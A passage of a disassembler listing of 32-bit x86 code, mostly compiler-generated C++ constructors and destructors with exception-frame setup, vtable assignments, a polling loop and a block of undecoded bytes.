		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8EAB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F40


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F40


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449128
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
